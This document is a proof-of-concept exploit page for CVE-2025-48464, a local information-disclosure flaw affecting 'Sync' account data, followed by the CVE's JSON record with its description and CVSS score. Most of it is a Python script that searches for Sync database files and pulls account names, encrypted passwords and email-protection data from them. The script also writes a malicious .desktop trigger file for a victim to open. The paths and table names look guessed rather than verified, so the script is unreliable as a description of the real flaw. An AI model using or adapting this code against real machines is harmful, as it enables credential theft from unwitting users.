CVE-2025-48464

# CVE-2025-48464 PoC - Sync Account Data Unauthorized Access # This PoC demonstrates the concept of exploiting the local Sync data access vulnerability # Note: Actual exploitation requires local access to the victim's machine import os import sqlite3 import json import argparse def locate_sync_database(): """Locate the local Sync database file""" possible_paths = [ os.path.expanduser("~/.config/sync/database.db"), os.path.expanduser("~/.local/share/sync/accounts.db"), os.path.expanduser("~/Library/Application Support/Sync/data.db"), "/var/lib/sync/sync_data.db" ] for path in possible_paths: if os.path.exists(path): return path return None def extract_credentials(db_path): """Extract account credentials from Sync database""" try: conn = sqlite3.connect(db_path) cursor = conn.cursor() # Attempt to query sensitive data without authentication cursor.execute("SELECT account_name, encrypted_password, email_protection FROM sync_accounts") results = cursor.fetchall() credentials = [] for row in results: credentials.append({ "account": row[0], "password_hash": row[1], "email_protection": row[2] }) conn.close() return credentials except sqlite3.Error as e: print(f"Database error: {e}") return [] def trigger_via_user_interaction(malicious_payload): """ Simulate the user interaction component of the exploit. In a real attack scenario, this could be a malicious link or file that the victim needs to open. """ print("[*] Preparing malicious payload for user interaction...") # Create a malicious sync configuration or shortcut file payload_path = "/tmp/malicious_sync_trigger.desktop" with open(payload_path, "w") as f: f.write(f"[Desktop Entry]\nExec={malicious_payload}\n") print(f"[*] Payload saved to {payload_path}") print("[*] Waiting for user to execute the payload...") def main(): parser = argparse.ArgumentParser(description="CVE-2025-48464 PoC") parser.add_argument("--extract", action="store_true", help="Extract sync data") parser.add_argument("--trigger", action="store_true", help="Trigger via user interaction") args = parser.parse_args() if args.extract: print("[*] Searching for Sync database...") db_path = locate_sync_database() if db_path: print(f"[+] Found database at: {db_path}") creds = extract_credentials(db_path) if creds: print("[+] Extracted credentials:") for c in creds: print(f" Account: {c['account']}") print(f" Password Hash: {c['password_hash'][:20]}...") print(f" Email Protection: {c['email_protection']}") print() else: print("[-] Sync database not found") if args.trigger: trigger_via_user_interaction("python3 exploit.py --extract") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-48464", "sourceIdentifier": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "published": "2025-10-08T07:15:33.323", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Successful exploitation of the vulnerability could allow an unauthenticated attacker to gain access to a victim’s Sync account data such as account credentials and email protection information."}], "metrics": {"cvssMetricV31": [{"source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://tuxplorer.com/posts/dont-leave-me-outdated/", "source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4"}, {"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-097/", "source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4"}]}}